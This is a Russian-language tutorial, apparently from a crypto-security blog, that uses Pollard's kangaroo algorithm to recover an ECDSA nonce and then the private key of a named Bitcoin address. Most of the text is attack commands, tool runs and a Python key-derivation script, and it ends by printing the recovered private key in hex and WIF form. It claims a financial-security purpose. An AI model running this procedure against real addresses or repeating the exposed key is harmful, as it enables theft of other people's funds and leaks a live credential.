В этой статье мы рассмотрим самый быстрый алгоритм для ECDLP из области вычислительной теории чисел, кенгуру Полларда также называют алгоритм лямбды Полларда.

Метод кенгуру Полларда вычисляет дискретные логарифмы в произвольных циклических группах. Он применяется, если известно, что дискретный логарифм лежит в определенном диапазоне, скажем [ a , b ], а затем имеет ожидаемое время выполнения групповой операции.

Преимущество Pollard's Kangaroo:

использует очень мало памяти

можно распараллелить с линейным ускорением

можно эффективно отслеживать требования к объему памяти

Все это делает метод кенгуру самым мощным методом решения задачи дискретного логарифмирования.

Один из способов сломать схемы подписи ECDSA — это решить проблему дискретного логарифмирования.

В настройках ECDSA алгоритмы субэкспоненциального времени, такие как метод индексного исчисления, не применяются, а лучшим известным на сегодняшний день методом решения лежащем в их основе DLP являются метод кенгуру Полларда. Мы постараемся не нагружать вас с различными теоретическими аспектами. Перейдем сразу к экспериментальной части.

Как мы знаем в блокчейне Биткоина отправитель монет BTC всегда раскрывает свой публичный ключ.

Для метода кенгуру Полларда достаточно знать публичный ключ или значение сигнатуры R ( значение R - это тоже своего рода публичный ключ от Nonces т.к. это точка координата x на плоскости эллиптической кривой secp256k1)

Остается только определить диапазон PRIVATE KEY или диапазон NONCES.

Случается такое что некоторые устройства которые создают подписиECDSAв блокчейне Биткоина могут частично раскрывать байты информации о значение "K" (NONCES)

Мы считаем что это потенциальная угроза потери монет BTC и настоятельно рекомендуем всем всегда обновлять ПО и использовать только проверенные устройства.

В недалеком прошлом мы провели криптоанализ в блокчейне Биткоина и нашли несколько таких транзакции.

Итак, взгляните на этот Биткоин Адрес на сумму вывода монет 501.06516041 BTC

В транзакциях этого Биткоин Адреса 14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE была частичная раскрываемость байтов информации о значение "K" (NONCES)

Как мы знаем из прошлой нашей статьи

habr.com/ru/post/671932/

habr.com/ru/post/671932/

Поиск диапазона секретного ключа

Давайте найдем эту транзакцию и с помощью метода кенгуру Полларда восстановим секретный ключ

Ранее мы записывали видеоинструкцию: «TERMINAL в Google Colab создаем все удобства для работ в GITHUB»

Откроем в терминале Google Colab [TerminalGoogleColab]

Для поиска RawTX воспользуемся репозиторием «01BlockchainGoogleDrive»

git clone https://github.com/demining/CryptoDeepTools.git

cd CryptoDeepTools/01BlockchainGoogleDrive/

chmod +x getrawtx.sh

./getrawtx.sh 14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE

Запуск Bash-скрипта: getrawtx.sh

Всё содержимые транзакции Биткоин Адреса 14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE сохранилось в файл: RawTX.json

Открываем файл: RawTX.json и находим эту транзакцию [строка №10]

Воспользуемся командой export и сохраним эту строку №10 из RawTX.json отдельно в RawTX.txt

export LINE=10 ; sed -n "${LINE}p" RawTX.json > RawTX.txt

cat RawTX.txt

Узнаем TxID откроем сайт Decode Raw Bitcoin Hexadecimal Transaction и вставим наш RawTXВ результате мы получаем TxID

В результате мы получаем TxID

TxID: b5add54960756c58ebabb332c5ef89098d2c3b8f2107b939ec542178e846108b

Открываем по ссылке TxID:

https://btc.exan.tech/tx/b5add54960756c58ebabb332c5ef89098d2...

Проверяем RawTX

Проверяем RawTX

Теперь узнаем частичную раскрываемость байтов информации о значение "K" (NONCES)

Для этого мы воспользуемся скриптом «RangeNonce»

«RangeNonce» - это скрипт по поиску диапазона секретного ключа

Выберем версию для дистрибутива GNU/Linux т.к. Google Colab предоставляет UBUNTU 18.04

RangeNonce

RangeNonce

Загрузим все файлы в Google Colab

RangeNonce + Google Colab

RangeNonce + Google Colab

Разрешим права доступа для скрипта и запустим скрипт «RangeNonce»

Команды:

chmod +x RangeNonce

./RangeNonce

cat Result.txt

Все сохранится в файл: Result.txt

Result.txt

Result.txt

Это и есть частичная раскрываемость байтов информации значение "K" (NONCES)

Итак, наш секретный ключ находится в диапазоне:

K = 070239c013e8f40c8c2a0e608ae15a6b00000000000000000000000000000000

K = 070239c013e8f40c8c2a0e608ae15a6bffffffffffffffffffffffffffffffff

Обратите внимание, на первоначальные 32 цифр и букв HEX формата значение сигнатуры Z совпадает с диапазоном секретного ключа то есть значение "K" (NONCES)

Это очень серьезная ошибка подписи ECDSA

Как мы говорили выше для метода кенгуру Полларда достаточно знать публичный ключ или значение сигнатуры R ( значение R - это тоже своего рода публичный ключ от Nonces т.к. это точка координата x на плоскости эллиптической кривой secp256k1)

Значение сигнатуры R в нашем случае:

R = 83fe1c06236449b69a7bee5be422c067d02c4ce3f4fa3756bd92c632f971de06

Скрипт RangeNonce добавил нужный нам префикс 02 создав сжатый публичный ключ

K_PUBKEY = 0283fe1c06236449b69a7bee5be422c067d02c4ce3f4fa3756bd92c632f971de06

Теперь у нас есть информация:

диапазон секретного ключа

сжатый публичный ключ

Воспользуемся исходным кодом для сборки программы Pollard's Kangaroo от французского разработчика Jean-Luc PONS

Обратите внимание, что вы можете самостоятельно сделать сборку на CUDA для GPU чтобы увеличить скорость расчетов

Мы сделаем обычную сборку для CPU

Команды:

cd /

cd content/CryptoDeepTools/06KangarooJeanLucPons/

ls

sudo apt-get update

sudo apt-get install g++ -y

sudo apt-get install libgmp3-dev libmpfr-dev -y

После всех установок пакетов сделаем сборку запустив простую команду:

make

Сборка прошла успешно!

Проверим версию:

./kangaroo -v

Итак, мы создали версию «Kangaroo v2.2»

Чтобы продемонстрировать работоспособность «Kangaroo v2.2» для CPU приподнимем диапазон и сохраним все в файл: rangepubkey.txt

Открываем текстовый файл: rangepubkey.txt

070239c013e8f40c8c2a0e608ae15a6b23d4a09295be678b2100000000000000

070239c013e8f40c8c2a0e608ae15a6b23d4a09295be678b21ffffffffffffff

0283fe1c06236449b69a7bee5be422c067d02c4ce3f4fa3756bd92c632f971de06

Очистим терминал командой:

clear

Запустим «Kangaroo v2.2» результат будет автоматический сохранен в файл: savenonce.txt

./kangaroo -ws -w save.work -wi 30 -o savenonce.txt rangepubkey.txt

Время поиска заняло 1 мин. 18 сек.

Результат в файле: savenonce.txt

Откроем файл: savenonce.txt

Мы получили секретный ключ это и есть значение "K" (NONCES)

Key# 0 [1S]Pub: 0x0283FE1C06236449B69A7BEE5BE422C067D02C4CE3F4FA3756BD92C632F971DE06

Priv: 0x70239C013E8F40C8C2A0E608AE15A6B23D4A09295BE678B21A5F1DCEAE1F634

070239C013E8F40C8C2A0E608AE15A6B23D4A09295BE678B21A5F1DCEAE1F634

K = 070239c013e8f40c8c2a0e608ae15a6b00000000000000000000000000000000 # RangeNonce

K = 070239C013E8F40C8C2A0E608AE15A6B23D4A09295BE678B21A5F1DCEAE1F634 # NONCES

K = 070239c013e8f40c8c2a0e608ae15a6bffffffffffffffffffffffffffffffff # RangeNonce

Закрытый ключ

Теперь зная значение "K" (NONCES) мы восстановим закрытый ключ к Биткоин Адресу: 14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE

Вернемся к началу, как мы помним скрипт «RangeNonce» раскрыл нам информацию о диапазоне значение "K" (NONCES), а так же информацию SIGNATURES

SIGNATURES

SIGNATURES

R = 83fe1c06236449b69a7bee5be422c067d02c4ce3f4fa3756bd92c632f971de06

S = 7405249d2aa9184b688f5307006fddc3bd4a7eb89294e3be3438636384d64ce7

Z = 070239c013e8f40c8c2a0e608ae15a6b1bb4b8fbcab3cff151a6e4e8e05e10b7

Получим закрытый ключ по формуле на Python-скрипт: calculate.py

PRIVKEY = ((((S * K) - Z) * modinv(R,N)) % N)

def h(n):

return hex(n).replace("0x","")

def extended_gcd(aa, bb):

lastremainder, remainder = abs(aa), abs(bb)

x, lastx, y, lasty = 0, 1, 1, 0

while remainder:

lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)

x, lastx = lastx - quotient*x, x

y, lasty = lasty - quotient*y, y

return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)

def modinv(a, m):

g, x, y = extended_gcd(a, m)

if g != 1:

raise ValueError

return x % m

N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141

R = 0x83fe1c06236449b69a7bee5be422c067d02c4ce3f4fa3756bd92c632f971de06

S = 0x7405249d2aa9184b688f5307006fddc3bd4a7eb89294e3be3438636384d64ce7

Z = 0x070239c013e8f40c8c2a0e608ae15a6b1bb4b8fbcab3cff151a6e4e8e05e10b7

K = 0x070239C013E8F40C8C2A0E608AE15A6B23D4A09295BE678B21A5F1DCEAE1F634

print (h((((S * K) - Z) * modinv(R,N)) % N))

Команды:

wget https://raw.githubusercontent.com/demining/CryptoDeepTools/m...

python3 calculate.py

PRIVKEY = 23d4a09295be678b21a5f1dceae1f634a69c1b41775f680ebf8165266471401b

Проверяем закрытый ключ на сайте bitaddress

ADDR: 14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE

WIF: 5J64pq77XjeacCezwmAr2V1s7snvvJkuAz8sENxw7xCkikceV6e

HEX: 23d4a09295be678b21a5f1dceae1f634a69c1b41775f680ebf8165266471401b

Закрытый ключ найден!

Данный видеоматериал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/UGUJyxOhBBQ

Источник: https://cryptodeep.ru/kangaroo